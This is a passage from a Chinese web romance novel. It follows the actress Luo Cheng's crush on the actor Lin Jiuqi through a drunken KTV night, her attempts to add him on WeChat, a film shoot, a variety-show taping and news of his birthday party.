有熟人在,林久期才放心的去了卫生间。
林久期迅速脱下拿臭气熏天的外套,想都没想就扔进了垃圾桶里,他对着镜子仔细检查了下身上还剩下的那件白T恤。
好在,没遭殃。
——林久期,你愿意当我的男主角吗?
想起方才洛澄说的那句话。
男主角,什么男主角?剧本吗?
应该是喝多了说的胡话吧。
林久期不再多想,洗了个手便折返了回去,回去的路上顺道喊了服务员,说了些什么,他才进的包厢。
乔媛媛已经跟大家打成一片了,洛澄还躺在沙发上呼呼大睡。
“林久期,你丫的怎么老跑厕所,你赖酒啊?!”
范少杰已经喝的头脑不清醒了,他拿起一罐啤酒重重砸放在林久期跟前的桌上,“是兄弟就干了!”
檀冶夺过那罐酒,对着范少杰骂道:“你喝傻了是吧,他喝不了酒你不知道?”
“他又不是酒精过敏,顶多算一个酒量差一瓶倒,喝一点怎么了?”范少杰不以为意,甚至有些不满,“从来到现在他丫的是一口酒都没喝过。”
范少杰说着,又指着睡着的洛澄,“哦对,都被洛澄喝了!”
“什么?”
像是听到自己被喊了,洛澄从沙发上爬起来,眼神迷离飘渺地盯着说话的人。
郑巧儿挪到她旁边坐着,“洛学姐,你好些了吗?”
洛澄强撑着眼皮,“我没事。”
“笃笃笃——”
敲门声后服务员端着一壶水走进来,“您好,您要的热水。”
乔媛媛拿了个干净的玻璃杯倒上热水,她抿了口,不算烫,这才递给洛澄,“喝点水。”
洛澄两大口就喝尽了,随口说了句,“别管我,你快去跟你老公玩。”
KTV的音乐刚好切换到了洛澄那首四年的前奏,所有人都清清楚楚听到了“你老公”这几个字。
“……”
乔媛媛脸色一阵青一阵红,着急道:“你在说什么啊,你喝多了!”
她忍不住偷看向黄谦,黄谦也正看了过来,“你们别听她胡说,她喝多了胡言乱语的。”
洛澄没想和她争辩,她一伸手从桌上拿起话筒,开始唱着自己的主打歌。
歌曲到了高潮的部分。
——你十八秒的语音我听了四年,是四年,亦是四年的四年。
洛澄唱着,不由自主地望向坐在不远处的林久期,他靠着沙发,目光聚集在前方的大屏上。
她的眼神变得复杂,心脏刺痛,唱歌的声音都带着颤音。
乔媛媛第一时间听出来她的不对劲,等这首歌结束后,她拉着洛澄就出了包厢,“我和她去上个厕所,你们玩。”
女卫生间内——
泪水在洛澄的眼眶里打转,她垂着头,表情空茫茫的。
乔媛媛看着心疼,拍了拍她的后背,“我们回家吧。”
洛澄点了点头,硬生生地把眼泪水憋了回去。
乔媛媛回包厢拿两人的包,而洛澄则在门外等着,詹江已跟着乔媛媛一同出来的。
他拿出手机二维码,“洛澄,加个微信,下次一起玩。”
洛澄一动不动,也不知道在想些什么。
乔媛媛碰了碰她的胳膊,她反应慢了半拍,旋即才缓缓从打开手机。
乔媛媛:“那我们先走了。”
加了微信的詹江已脸上挂着笑,“我送你们吧,大晚上的不安全。”
“不用了,我没喝酒,我开车来的。”乔媛媛搀扶着洛澄,“走了拜拜。”
詹江已回到包厢,范少杰忍不住八卦,“老詹,你搁外面干啥呢?”
黄谦一语点破,“要微信呗。”
“哟哟哟。”范少杰一把揽住詹江已的肩膀,“看上谁了?洛澄?还是那个乔媛媛。”
詹江已神神秘秘的笑了下,“你猜。”
黄谦:“这还用问?当然是洛澄了。”
“老黄啊,还真是什么都逃不过你的眼睛。”范少杰调侃道:“看样子老詹得是咱们几个里第一个脱单的啊!”
“那可不一定。”詹江已朝黄谦使了个眼色,“是吧黄谦。”
范少杰没听懂这句话,“什么意思,跟老黄有什么关系?”
詹江已:“你没看见吗?他和那个乔媛媛也加了微信。”
范少杰一听眼睛都亮了,“好啊你个黄谦,背着我们偷偷勾搭妹子!”
听着他们几人有一句没一句,檀冶默不作声地摆弄着手里的啤酒瓶,心烦意乱的。
一罐酒下肚,他站起身,手插着兜往门口走,“走了。”
范少杰看了一眼时间,“这才11点,你走这么早干啥啊,谈恋爱啊?”
此话一出,所有人的神情都变了。
檀冶的脸色倏然沉了下来,他语调冰冷,“滚。”
等檀冶出去后,范少杰才反应过来自己说错话了。
黄谦揉了揉太阳穴,“你说什么不好,偏要提这件事。”
-
“嘶……”
第二天清晨,洛澄感觉自己的头要炸了,胃里也是翻江倒海的。
乔媛媛倒了杯蜂蜜水放在她床头柜上,洛澄喝了两口,乔媛媛就这么目不转睛盯着她,她浑身不自在,“有话直说。”
乔媛媛提示:“你还记得昨晚发生了什么吗?”
洛澄拧着眉想了良久都没想出个一二,“不就吃火锅,唱歌……还能发生什么?”
她就记得KTV玩游戏,然后她一直在喝酒,然后……
然后就记不得了。
一看洛澄的表情,乔媛媛就知道她肯定喝醉后的事情忘的一干二净,乔媛媛一副恨铁不成钢的模样,“你以为你是千杯不醉吗?又偷偷帮林久期挡酒了
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是吧。”
洛澄双手握着杯子,垂眸盯着里面淡黄色的蜂蜜水,不说话。
乔媛媛:“你后面喝醉了。”
洛澄嗯了下,“我知道。”
乔媛媛接着说:“吐了林久期一身。”
“嗯……嗯?!”
洛澄眼睛顿时瞪大了,她张了张嘴,哑了头十秒。
乔媛媛白眼都快翻上天了,转身往客厅走。
洛澄马不停蹄地下床,踩着拖鞋跟在她身后,“真的假的?吐的多吗?他发脾气了吗?他当时说了什么啊?”
乔媛媛卖着关子,一屁股坐在沙发上,洛澄殷勤地从茶几上拿了包薯片给她,“当时到底什么情况啊?”
乔媛媛撕开包装袋,“人家当时什么都没说,甚至啊……”
洛澄眼睛都不眨一下望着她,“甚至什么?”
乔媛媛边回忆边道:“他当时以为我是骗子,还担心你来着,我说我送你回包厢,他非要跟着一起才放心。”
洛澄抿了抿唇,担心她……
想着,她心里不由暖暖的,可转念又一想,吐了林久期一身,洛澄一刹间脸红到耳根。
完了,这还哪有脸见他啊。
-
五月的气候最为多变,盐城时而下雨时而晴天。
特种兵综艺在五月初就开播了。
乔媛媛瘫坐在沙发上,看这档综艺笑得合不拢嘴,“你们真过分啊,居然说人家教官是申公豹。”
电视上刚好播放到他们上课那里,洛澄还记得当时自己因为这“申公豹”,被罚跑操场二十圈。
没想到这一段也被导演剪进去了。
也多亏了导演,所有人都知道了原来当时的那张纸条是郑巧儿写的,网上对洛澄是一片好评声,都在夸她仗义。
随着节目一期又一期的播出,洛澄也因此收获了一大批粉丝。
没过多久,洛澄就接到了某位导演的拍戏邀请,虽然只是一部古装剧的女三,但对于洛澄来说也非常值得拉香槟庆祝。
“恭喜啊小洛澄,好的开始!”
洛澄举杯与乔媛媛碰杯,“那也祝贺你的实体书大卖。”
乔媛媛一饮而尽,“同喜同喜。”
话落,茶几上的手机响了几声,乔媛媛几乎是以最快的速度拿起了手机。
不对劲。
洛澄眯着眼睛,“这大晚上的谁给你发消息?”
“没谁。”
话虽如此,可乔媛媛那嘴角都快咧到耳后根了。
洛澄压根不信她的鬼话,“你该不会是背着我和别的男人谈恋爱了吧?”
乔媛媛脸上是一点也藏不住事,她笑容更灿了。
洛澄一本正经道:“老实交代,作为闺蜜,我有知情权。”
“就是……嗯……怎么说呢。”
乔媛媛脸上红晕更增,眼神闪烁着,把手机屏幕上面朝洛澄。
洛澄定睛一看,屏幕上是微信的聊天框,往上瞧,备注——黄谦。
洛澄看了看手机,又看了看此刻万般娇羞的乔媛媛,“好啊,你什么时候和黄谦搞在一起了?”
乔媛媛啧了声,“什么搞在一起啊,说的这么难听,我们还只是朋友。”
洛澄:“是,我懂,先是朋友后是妹,最后变成小宝贝。”
乔媛媛羞怯地垂下头。
“哟,还脸红了。”洛澄打趣道:“你俩什么时候加的联系方式?该不会是上次唱歌吧?”
乔媛媛大方承认:“对啊。”
洛澄:“你要的?”
乔媛媛害羞点头。
洛澄竖起大拇指,“乔媛媛,你真行啊,你敢要,他也是敢给。”
乔媛媛洋洋得意道:“那俗话都说,遇到crush要主动出击,女追男隔层纱,你不也是整天心心念念着你的九七。”
一提起林久期,洛澄止不住叹气,“我那不是隔层纱,是隔珠穆朗玛山。”
乔媛媛一听不对劲,问道:“怎么说,又被拒绝了?”
19. 第19章
洛澄想起从上次唱歌后,她又是一个月没有见到林久期了,在公司根本遇不见,甚至之前和他在训练基地朝夕相处一个月,到最后连他一个联系方式都没有。
别说追了,她现在是被拒绝的机会都没有。
乔媛媛:“你笨啊,詹江已肯定有他微信,你找詹江已要啊。”
洛澄撇了撇嘴,“我跟詹江已也不熟啊。”
“不熟?不熟他问你要微信?不熟他隔三差五的去盐大找你?”
“……”
乔媛媛越说越起劲,“你知不知道,自从你们参加那什么特种兵的综艺播出后,现在网上都在磕你和詹江已的CP。”
“无聊。”
洛澄心里有一万个无语。
这届网友是会磕邪门CP的。
“詹江已他就没找你聊过天?”
洛澄手推开乔媛媛那贼眉鼠眼的脸,“我和他清清白白。”
乔媛媛:“我不信,手机给我看。”
洛澄心里没鬼,自然是大大方方地把手机给了乔媛媛。
乔媛媛点开微信界面,她都还没有往下翻,一条微信消息就弹在了所有对话框的最上面,“瞧瞧瞧,这就是你说的,清、清、白、白?”
乔媛媛故意加重了这四个字。
“什么啊?”
洛澄拿过手机一看,詹江已好巧不巧发来了一条消息,“……他,碰巧而已。”
乔媛媛挑眉,意思是“点开看”。
洛澄点了进去。
詹江已:【明天几点下课,一起看电影。】
“哟——”乔媛媛拖着长音,阴阳怪气地说着:“一起看电影,好呀,明天见。”
洛澄:“你别在这阴阳怪气的,有这闲工夫,跟你老公培养感情去。”
“好的呢,我不打扰你们谈情说爱。”
乔媛媛冲洛澄做了个鬼脸,扭着腰杆往自己房间去,进门之前,突然回眸一笑,“记得明天看电影哦。”
“……”
隔天。
詹江已又来盐大了。
洛澄一走出教学楼就看见了他,那头鲜艳的红发,真的很难不注意到。
旁边路过的同学小声嘀咕:“又来找洛澄了。”
“是啊,这个月都来几次了。”
“他俩这是交往了?”
“谁知道呢,多半是吧。”
“……”谣言就是这么传起来的,虽然说她不在意,可这话要是传到了林久期的耳里,那可就麻烦了。
“詹江已。”
“走,美人儿,哥带你去看电影。”
詹江已往前走了两步,发现洛澄没有跟上来,她还站在原地,“怎么了?”
洛澄认真道:“你这样真的很容易让别人误会。”
那些闲话詹江已也听得不少,他丝毫不在乎,反而开起了玩笑:“那又怎样?嘴长在他们身上,我总不能把他们毒哑吧。”
一开始只是网友看了综艺以后,在磕他俩的CP,可詹江已隔三差五就来盐大,已经有不少学生把他俩同框的照片和视频传到网上了,风声很大,说什么的都有。
“现在网上到处都在传我们谈恋爱的事情。”
詹江已摊了摊手,“他们喜欢磕CP,那就让他们磕好了。”
“……”洛澄懒得费口舌,骤然想起乔媛媛的话,“对了,你有林久期的电话吗?”
“有啊。”詹江已反问:“怎么了?”
洛澄随便扯了一个理由就糊弄过去了,詹江已也把号码给了她。
“我今天有事,电影下次吧。”
洛澄说完头也不回就走了。
回到家里。
洛澄打开备忘录,一串数字写在了第一条便签里,她长按复制到了微信的添加朋友里,点下搜索。
界面很快跳转出一个微信名片,头像就是一个纯白底图,个性签名什么都没写,ID:木木。
木木,林。
林久期。
是他。
洛澄呼吸变得沉重,手不自觉地握紧,她点击“添加到通讯录”,先是在备注那里打上“九七”,视线落在“发送添加朋友申请”那一栏。
写什么好?
林老师你好?
林久期,我是洛澄,不好意思打扰你了?
洛澄在床上翻来覆去,犹豫了有头十分钟,最后把里面编辑好一长串的字全部删掉了,改成了:林老师你好,我是洛澄。
随后,她又紧盯着“发送”二字。
心里七上八下的,手指想摁下去,但又迅速收回。
会不会太冒昧了?
如果加上了第一句话该说什么啊?
如果他拒绝了怎么办?
洛澄觉得她心脏快要蹦到嗓子眼了,算了算了,管他的,先发了再说。
她一咬牙,眼睛一闭,手指摁了下去。
看着屏幕最下方弹出“已发送”,洛澄长吁了一口气,有一种悬着的心终于死了的感觉。
晚上十二点过。
乔媛媛回家时看见洛澄房间门缝底下还透着微光,她敲了敲门,“小洛澄,你还没睡?”
一瞬间,洛澄从梦中惊醒,她连忙抓起脑袋旁的手机点开看,微信里除了旁人发的信息以外,没有任何新添好友的弹框。
乔媛媛在门外又唤了声,“小洛澄?”
还是无人应答,心想着应该是睡着了没关灯,乔媛媛小心翼翼地推开门。
“你没睡啊?!”乔媛媛一眼瞅见洛澄靠着床头坐着,聚精会神盯着手机,也不知道在看些什么,“你干嘛呢,大半夜的不睡觉。”
“没干嘛。”
洛澄钻进被窝,有气无力道:“帮我关下灯。”
-
洛澄胆战心惊发送了好友申请,但是都过去好几天了,对方迟迟没同意,微信一直没有反应。
洛澄百思不得其解。
难道是她说的不够礼貌?还是说他这个大忙人都没时间看手机?
胡思乱想了许久,洛澄又鼓起勇气发送了条好友验证过去。
【林老师您好,您的东西在我这里,您什么时候有空,我好拿给您。】
某住宅小区内。
林久期家。
“久期,你和洛澄到底什么关系啊?”詹江已手柄都快按冒烟了,“久期打他,在房子背后!”
坐在旁边的林久期手里也拿着同样的手柄,眼睛直视前方的电视大屏,“没关系。”
电视屏幕上是投屏的枪战游戏,詹江已被敌人一枪爆头,他没好气地唉了声,想起了什么,说:“哦对了,她前段时间问我要你的电话来着,说你有东西落在她那了。”
詹江已补充道:“我给她了。”
林久期忙着在游戏里给快要阵亡的詹江已喂药,没精力去细想他的话,只是隐约记得好像是有那么一条好友申请,“走了,跑毒了。”
-
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洛澄新接的剧是在盐城古镇拍的,很多古装剧的取景都是在这儿。
她刚给林久期新发了一条好友验证过去,字字带“您”,够尊重了吧。
助理小玲这时过来喊她,“澄姐,开拍了。”
洛澄把手机揣进背包里递给小玲,“好。”
这几天的盐城都是梅雨天气,毛毛细雨一下就是两三天,凉意透沁。
洛澄回到家的第一时间就是洗了个热水澡,拍戏淋了一天的雨,这时候要是感冒就耽误事了。
等洛澄洗完澡出来时,乔媛媛正在阳台的玻璃桌前敲打着笔记本键盘。
她边擦拭着头发边调笑道:“大作家,又奋笔疾书呢。”
乔媛媛像是驱蚊子似的,不耐烦道:“去去去,一边玩去,灵感正强,别打扰我。”
洛澄不怒反笑,她从沙发上拿过薄毛毯披在乔媛媛的身上,“是,大作家。”
“诶呀,是谁家的美人儿这么贴心啊……”乔媛媛自问自答:“哦,原来是我家的。”
洛澄都不用想,这称呼一听,就是乔媛媛跟詹江已学的,她敛了敛笑容,“让你少看点综艺。”
乔媛媛:“美人儿,我这不是为了支持你的首秀吗。”
“行了,快码字吧你。”
洛澄折身回了卫生间,等头发吹干后她又去了厨房,从冰箱里拿出一杯自己榨好的柑橘果汁,喝上一口,冰冰凉凉的,沁人心脾。
阳台的乔媛媛喊道:“美人儿,帮我也倒一杯!”
“……”洛澄很不想搭理她,但还是倒了杯果汁给她端了过去。
乔媛媛伸手给了飞吻,“爱你哟,美人儿。”
“乔媛媛。”洛澄拳头都捏紧了,“我真的很想把你毒哑。”
“好好好,不拿你开玩笑了。”乔媛媛的目光再次回到电脑上,“对了,你不是找詹江已要了林久期的微信吗,怎么样,加了吗?”
洛澄愣了下,她走到窗边,望着外面还在淅淅沥沥下着的雨,“哦,没加。”
乔媛媛:“干嘛不加啊,你往常不是主动的很吗,怎么这个时候畏畏缩缩的?”
洛澄喝了口果汁,装作没事儿样,“最近太忙了,忘记了。”
乔媛媛不忘提醒道:“你记得加,不然着联系方式要来的意义是什么,当彩票号啊。”
“知道了。”洛澄想赶紧结束这个话题,“你忙吧,我先睡了。”
乔媛媛在她背后笑说道:“晚安美人儿。”
“……”
闻言,洛澄加快了回房间的脚步。
合上房间的门,洛澄垂下眼帘,嘴里柑橘的甜味变成了浓浓的苦涩味,她倚靠着墙,心情跌倒了谷底。
哪里是什么太忙忘记了。
是人家根本就不理她。
洛澄拿出手机,刚摁亮,盯着锁屏界面,迟迟未解锁。
还有什么可看的,结果都一样,肯定还是没同意。
可,心里即便是这么想,但总是有很小的声音再说:万一呢。
过了好一会儿,洛澄输入密码。
恰逢此时,消息提示声音响了一声,在微信上弹出一个界面——
【木木回复了你的添加朋友请求】
“哈?”
洛澄看的一头雾水,她飞快点了进去。
林久期依然没有通过她的好友验证,而是直接在验证信息里回复了一句话。
【什么东西?】
20. 第20章
人在无语的时候真的会笑一下,看到这条回复,洛澄气笑了。
好,很好,这男人不乱加异性微信,很有分寸感。
洛澄在回复里打下两个字。
【墨镜。】
发送出去后,林久期就再也没有回复过了。
-
洛澄今天要拍一场日出的戏份,她早上4点就起了床,5点钟不到就赶到了剧组。
助力小玲哈气连天的,洛澄像是被传染了,也忍不住打了个哈欠。
路过的导演见状,随口问了句:“洛老师没休息好?”
“潘导。”洛澄提起精神到了个招呼,“没有的事。”
潘导笑眯眯地走开了,没过多久,几位工作人员提着咖啡过来,在场的每人人手一杯。
“潘导请客,大家辛苦了!”
众人一直等到6点过太阳初升才开机拍摄。
拍完日出的戏码洛澄就先去对台词了,她下午还有一场戏。
午后阳光不浓不淡,照得河面上波光粼粼,耀得人眼睛发花。
洛澄就站在池塘边的草坪上,正与这场戏的人对戏。
她面前穿着一袭黑衣的男演员手持利剑指着她,“说,你接近二皇子究竟有何目的?!”
洛澄脸色苍白,眼里都是委屈,“我不懂你在说什么。”
“不懂?”侍卫冷笑一声,步步紧逼。
洛澄眼眶酸涩,忍不住哽咽,“我只是奉三皇子之命给二皇子送些安神之物,你何苦这般为难我?”
洛澄被他逼得连连后退,突然,她脚下一滑,失足落水,她拼命挣扎,“救……救命……”
岸上的侍卫本是冷眼旁观,见水里的人少了扑腾,他脸色一沉,迅速跳下水。
潘导:“咔!”
旁边随时待命的工作人员立马跳下河,拥护着洛澄和男演员回到岸边,小玲也及时送来浴巾围在她身上。
潘导夸赞道:“两位老师演的很好,这场过了,快去换身衣服别着凉了。”
等洛澄收拾好出来,导演已经在拍另外一场戏了,是男女主角的。
洛澄坐在石凳上,视线不经意眺望到池塘的另一侧,那边也有不少的工作人员和拍摄道具,应该是另外一个剧组。
在众多人之中,一位穿着月牙白锦袍的男人长身玉立其中,他正与身旁的人说话,他笑的格外温和,犹如一朵幽韵兰花。
他乌黑的头发束起,一丝微风拂过,吹得他发丝与头上绑着的白色丝带缠绕飞舞。
洛澄已经没办法单单用帅来形容他了。
阳光下他俊逸如谪仙,无人能及。
好似感受到目光的灼热,林久期侧眸望来,刚还盯着他看的某人迅速低头看手里的剧本。
他早就注意到洛澄了。
从她拍戏那会儿,她方才演戏的一举一动都尽收他眼底。
她这会儿换了身衣服,是身淡紫色的衣裙,裙角绣着几朵淡粉色的樱花花瓣,一头青丝绾成髻,头上仅仅有一根蝴蝶钗。
林久期没再多关注,听到导演唤他,他收回了视线。
-
洛澄一直拍到晚上9点过才结束。
第二天又是起了个大早,但与昨日不同的是。她今天一起来头就疼得厉害,明明是20多度的天气,她穿毛衣都还觉着冷。
小玲担心道:“澄姐你没事吧?不舒服的话要不去医院看看。”
洛澄咳嗽几声,“没事,应该是没休息好。”
洛澄往远处的某个位置望去,果不其然,林久期拍摄的那个剧组今天也在,林久期正在和其他演员对台词。
下一秒,穿着蓝色夹克的人手插兜走到林久期身边,是詹江已。
洛澄刚要收回偷窥的目光,詹江已率先看了过来,还冲着她挥挥手。
洛澄也只好点了点头,以示回应。
洛澄的戏份开拍了。
烈日当空,明晃晃的,洛澄视线变得十分模糊,耳边是其他演员说话的声音。
“二皇子,这就是你办事不力了……”
洛澄感觉耳鸣的厉害,他们说话的声音似乎越来越小,她胸口逐渐喘不上气。
眼前一黑。
砰——
-
盐城市医院病房内——
“澄姐,你终于醒了!”小玲吓得魂都快飞了,眼里都是担忧,“你真的吓死我了!”
“我,”洛澄声音沙哑着说:“我怎么了?”
小玲:“你在片场晕倒了。姐,下次可不许逞强了,你都发烧到39度了。”
洛澄全身疼得厉害,一开口说话嗓子就像刀割,“谁送我来的?”
小玲扶着洛澄坐起身子,又倒了杯温水给她,“是詹老师。”
詹江已?
“林久期呢?他不在医院吗?”
“林老师?”小玲脸上泛着疑惑,她努力回忆着,在片场好像是看到了林久期的身影。
“林老师没有来医院呀,他这会儿应该在拍戏吧。”
洛澄神色恹恹。
也是,林久期现在根本不在意她,他们也什么关系都没有。
他当然会避嫌,不会做任何多余的事情。
洛澄晕倒这件事把潘导也吓着了,他第一时间联系了洛澄的经纪人吕菲。
吕菲放下手上的工作就来了医院。
“好些了吗?”
“菲姐,好多了,我没事的。”洛澄不好意思道:“抱歉,让你们担心了,耽误工作了。”
“耽误工作是小,身体才是最重要的,你啊,别太拼了。”
吕菲心里比谁都清楚,洛澄这小丫头,别看年纪小,但拼劲比那些娱乐圈老人都强。
她嘱咐道:“不管是什么事,一定要身体第一位知道吗?”
洛澄乖巧应答:“好。”
吕菲看她精神好些了,才放心离开,走之前她顺便交代了一些事情。
盐城电视台的综艺《周五见》,邀请了洛澄参加,同样参加的嘉宾有林久期,詹江已,郑巧儿和赵芮情。
吕菲:“现在你和詹江已的澄江如练CP很火,可以借此提升一下你的知名度。”
-
《周五见》开始录制是在下个周。
作为国内首屈一指的综艺,这里几乎是所有娱乐圈人都梦寐以求的地方。
洛澄还是第一次来盐城电视台,商务车开到电视台大楼门口,一下车,便蜂蛹而上不少记着和粉丝。
在保镖的保护下,洛澄顺利进入大楼。
乘电梯来到五楼,洛澄被领到了嘉宾休息室,偌大的休息室里空无一人,洛澄找了个正中间的沙发上坐着,茶几上放着早就准备好的茶水和甜点。
洛澄看了眼时间,才九点过。
她拿起一旁放着的杂志,百无聊赖看了起来。
录制是下午两点开始,大概过了一个钟头,其他嘉宾才陆陆续续到电视台。
洛澄看着微信里林久期还没有通过的那条好友验证,她心想着林久期大概什么时候能到,休息室的门就被人从外推开。
林久期穿着最简单的白衬衫,神色是一如往常柔和。
想到之前自己吐他一身,洛澄感觉脚趾都扣紧了,气氛一度尴尬。
不过幸好林久期前脚刚走进来,后脚,詹江已紧随其后。
“嗨美人儿,身体好点了吗?”
洛澄心里才松口气,救星。
“已经没事了,那天谢谢你。”
詹江已屈身坐在洛澄身边,挑眉一笑,“如果想谢我,那下次一起看电影。”
“……”
他怎么还没忘?
洛澄礼貌笑了笑,“行,我请你。”
詹江已:“那怎么行,这种事还是得我们男人来。”
洛澄与他闲聊几句,没多久,其他嘉宾也来了。
等所有人都到齐后,导演组给每个人都安排了妆造师,开始换衣服化妆。
妆造足足做了两个小时才结束。
剩下的时间就是节目导演开始交代一些注意事项,以及开场的走位等等。
下午两点整,《周五见》开录。
在简单的聊天和嘉宾介绍后,作为嘉宾访谈游戏秀的节目,自然是少不了做游戏。
第一个游戏叫
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:你比我猜。
主持人介绍着游戏规则。
“你比我猜,一个人看词以后负责在背后控制另一个人的身体进行比划,中途不能说话,被控制的一方负责根据比划的动作猜词语,限时三分钟,答对最多的一组获胜。”
主持人进行了分组,除了在场的嘉宾以外还有几位常驻嘉宾,两两一组。
洛澄和詹江已一组,林久期被分到和一位常驻男艺人一组。
洛澄和詹江已是第一个上场的,洛澄被戴上了眼罩。
主持人问:“两位准备好了吗?计时开始。”
一声令下,他们面前的屏幕上显示出三个字——特种兵。
詹江已站在洛澄的背后,看清后立马拉住洛澄的双手,比了一个打枪的动作。
洛澄:“狙击,射击。”
主持人:“不对。”
詹江已又拉着她的手握拳举过头顶,胳膊一上一下。
洛澄:“举高,引体向上。”
詹江已用她的手比划了数字“三”,随后又继续刚才的动作。
主持人在旁边提示:“你们最近是在?”
洛澄大脑飞速转动,“特种兵?”
主持人:“对了,下一个。”
就在屏幕换词的下一秒,台下所有观众发出欢呼声。
詹江已比了一个“二”,然后他拉着洛澄的胳膊,从背后环抱住她。
“?”洛澄表情空茫茫的,只听见观众越来越大声的尖叫欢呼,她试探性说:“抱住?”
主持人在旁边看热闹不嫌事大,脸上的笑容都快挂不住了,“接近了。”
詹江已连续做了两次这个动作。
洛澄:“拥抱,抱住,抱我,抱抱。”
主持人:“对了!快快快还有时间。”
观众的欢呼接连不断。
詹江已捏住洛澄的手做了一个东西,洛澄秒说:“比心。”
屏幕再次换词。
仅有两个字,但看过综艺的人瞬间秒懂。
詹江已自己都看笑出了声,洛澄眼前一片漆黑,根本不知道发生了什么,只听到脑袋上方传来很清楚的一阵闷笑。
须臾,詹江已用洛澄的手指了指她自己。
洛澄:“洛澄。”
主持人:“不对。”
不对?
洛澄开始盲猜:“我们,女人,艺人,唱歌,演戏……”
她猜了半天两个字的,硬是一个都没有蒙对。
周围是嘉宾们窃窃私语的声音,詹江已的动作没变,洛澄瞬间想起一个极其难为情的词。
她有些不确定道:“美人?”
果不其然,在她答对的一瞬间,台下的人听起来比她这个答题者还要激动。
一直在旁观的赵芮情看了眼坐在她旁边的林久期,她漫不经心提了句:“没想到洛澄和詹江已看着这么般配。”
三分钟时间到。
詹江已微微俯头,附在洛澄耳边,声音低低含着磁性,“聪明啊,美人儿。”
-
整个综艺录制下来,洛澄和詹江已的互动尤其最多。
她都要怀疑节目组是不是故意的了。
洛澄时不时就会观察下林久期,他除了露出那随和的笑容以外,没有任何异常。
自己真是疯了。
居然希望他能吃醋。
录制结束后,回到后台,趁着周围没什么人,洛澄找上林久期,“林久期。”
走廊上,林久期停下脚步,看着追上来的人,“前段时间不是还在喊我林老师?怎么线下就直呼大名了。”
“……”洛澄抿了抿唇,“林老师,你什么时候有空,我把你的墨镜还给你。”
“暂时没空。”他拒绝的爽快,面不改色补充道:“有空了我会告诉你的。”
盯着他走远的背影。
洛澄眉眼一耷。
怎么告诉?联系方式都没有,漂流瓶联系吗?
当晚。
洛澄洗完澡回到自己的房间,她拿起手机——
“林久期已添加为你的朋友,你们可以开始聊天了。”①
21. 第21章
他他他,他同意了?!
洛澄已经自己眼花了,她使劲揉了揉眼睛,再仔细一看,他真的同意了!
洛澄惊呼出声,客厅的乔媛媛冲进房间,“怎么了?!”
还以为她出什么事了,可人儿好端端地趴在床上,翘起的双腿一晃一晃的,“没什么。”
洛澄极力克制自己兴奋的情绪,但笑容止不住在脸上绽放。
等乔媛媛退出房间,她终于憋不住了,抱着手机在床上滚来滚去,笑得合不拢嘴。
洛澄哼着小调,点进林久期的朋友圈,背景是一张铺满阳光的森林图,枝繁叶茂,绿影斑驳,充满着生命力。
嗯,向阳而生,很积极。
往下看,朋友圈设置的是三天可见,最近发的一条动态是两天前,洛澄点进去,没有配文,只是单纯的一张日出照片。
洛澄把照片放到了最大,细细看着。
图片上只有下方微微露出的房屋顶,红艳的太阳占了图片的一大半,很眼熟。
是在盐城古镇的取景。
洛澄长摁图片,点了保存。
随后她退出到与林久期的聊天界面,她沉思半晌,发了一个HI的表情包。
他没有回。
难道是睡了?
洛澄扫了眼时间,十一点都还没到。
睡的也太早了吧。
林久期一直到第二天都没有回复消息。
洛澄今天在剧组没有戏份,她趁着休息回盐大上课,课程在早上就结束了,下课后她又去附近的商场。
算着日子,过几天就是林久期的生日了,她兴致勃勃地在商场里挑选起礼物。
工作人员殷勤道:“女士您真的太有眼光了,这款腰带是我们店今天才送来的新款……”
洛澄绕了一圈,只有这款腰带最满意,索性直接包了起来。
她一手提着礼物袋,一手给林久期发去消息。
【林老师,你今天有空吗?】
-
将圆未圆的明月高挂天际,在被黑幕吞噬的盐城古镇里,洛澄坐在一家客栈门口的木椅子上,正和剧组其他的演员对台本。
客栈不远处就是皇城建筑,周围顿时响起一片惊叹声,许多人都仰着头往皇城大门的方向望。
不知道是谁喊了一声,“是林老师!”
听到躁动声,洛澄的注意力也被吸引了过去。
林久期一席黑色夜行衣,他灵活穿梭在皇城墙壁上,行动迅速,身法快如疾风,从城墙翻越到了另一座屋檐之上。
若不是他身上吊着威亚,说他会轻功都不为过。
身旁的人犯着花痴,“林久期好帅啊!”
距离太远,看不清此刻林久期的样貌,但月华之下,一身黑衣宛如来自地狱的修罗,睥睨众生。
洛澄目不转睛地望着,若不是导演喊开拍了,她是舍不得挪回目光的。
等洛澄结束后,再望向那皇城之巅,早已没了林久期的身影。
她从小玲那拿过手机,有条微信未读消息,十分钟前发来的。
林久期:【在忙。】
“……”
两天前给他发的信息,他现在才回?
洛澄也不好指责什么,能回也算是好事。
她当即回复:【明天有空吗?】
林久期又没回了。
-
自从进了剧组,洛澄经常早起晚归,每每回家时乔媛媛都已经睡下了。
今天又是晚上十一点过才结束。
坐在回家的车里,洛澄靠着椅背,浑身上下都透着疲惫二字,旁边的小玲不敢吭声,怕打扰了她休息。
洛澄有气无力道:“小玲,几点了。”
小玲看眼时间,“澄姐,十一点五十六分了。”
洛澄睁开眼,眼瞳中蕴着疲态,视线落在窗外飞驰而过的风景。
放空了数秒后,她拿出手机,熟稔地把微博切换了账号,又进入了唯一一个关注的账号微博里。
5月23日0点整。
洛澄在这个账号主页里最新的一条微博底下,评论了一句话。
【生日快乐。】
第二天。
洛澄去剧组时,意外的在盐城古城没有看到林久期。
听到旁边的有人在闲谈,“林老师的生日会,我也好想去啊。”
当天晚上10点,洛澄难得结束的早,一回家就睡觉了,迷迷糊糊中听到了外面的开门声。
她没理会,继续倒头大睡,可没过一会儿,她自己房门被人推开了。
乔媛媛吸了吸鼻子,哽咽道:“洛澄。”
洛澄登时吓醒了。
没反应过来,茫然地看着门口站着的人儿,“怎么了?”
夜色笼罩,窗外是万家灯火,车水马龙。
“你知道吗,林久期今天办了生日会。”乔媛媛喝了口闷酒,“黄谦也去了,而且,他的绯闻女友也在。”
洛澄平常很少关注娱乐圈的八卦新闻,有点懵,“绯闻女友?”
“你除了关注林久期以外,能不能也关注一下其他人啊。”乔媛媛这会儿正没出撒气,忍不住抱怨几句又接着说:“就网上传的啊,他上一部剧的女主角,说他俩谈恋爱。”
被迁怒了洛澄也不恼,安慰道:“绯闻而已,又不是真的,而且你怎么知道那个女生也去了?”
“生日会的现场视频都放出来了。”
乔媛媛生怕她不信,还翻出手机里的视频给她看,“你看,就是这个女的。你别说,还真挺漂亮的……你看你看,还和黄谦有说有笑的……你说他俩是不是真的谈恋爱啊?”
洛澄和乔媛媛从小学开始就是同学,两人关系一直很好,在他们高一的时候黄谦就作为TheOne的队员之一出道。
从那时候起,乔媛媛就一直喜欢他。
